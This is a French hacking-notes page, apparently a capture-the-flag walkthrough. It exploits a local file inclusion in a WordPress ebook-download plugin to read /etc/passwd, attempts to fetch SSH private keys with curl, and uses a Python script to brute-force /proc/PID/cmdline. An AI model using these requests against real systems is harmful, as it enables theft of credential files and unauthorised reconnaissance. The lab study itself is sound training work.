> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI journaux Proc

## Exploitation LFI

**Énumération des fichiers sensibles :** Lister les utilisateurs du système via /etc/passwd :

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/434b7b101d179cdb81060c888faf6bca4906f195" alt=""><figcaption></figcaption></figure>

Tentatives de récupération de la clé SSH privée de l'utilisateur `utilisateur`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

Ces tentatives échouent probablement en raison des permissions restreintes sur ces fichiers.

<figure><img src="/files/1d4b8a7d1e14f3d39f9d960abaa8aee8fb9d0412" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**Exploration du proc** Création d'un script Python pour extraire les informations sur les processus en explorant `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Sortie.../n")
    sys.exit(1)
# Journaux LFI du proc
signal.signal(signal.SIGINT, def_handler)
# Journaux LFI du proc
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Attaque par force brute")
    p1.status("Démarrage de l'attaque par force brute")
    sleep(2)
    for i in range(1, 1000):
        p1.status("Essai avec le chemin /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("CHEMIN : /proc/%s/cmdline" % str(i))
            log.info("Longueur totale : %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

En analysant les processus, le port 1337 est identifié comme un serveur **gdbserver**.

<figure><img src="/files/3db2c113cd63d5d6df4abf71afa8b80d98a42e1e" alt=""><figcaption></figcaption></figure>


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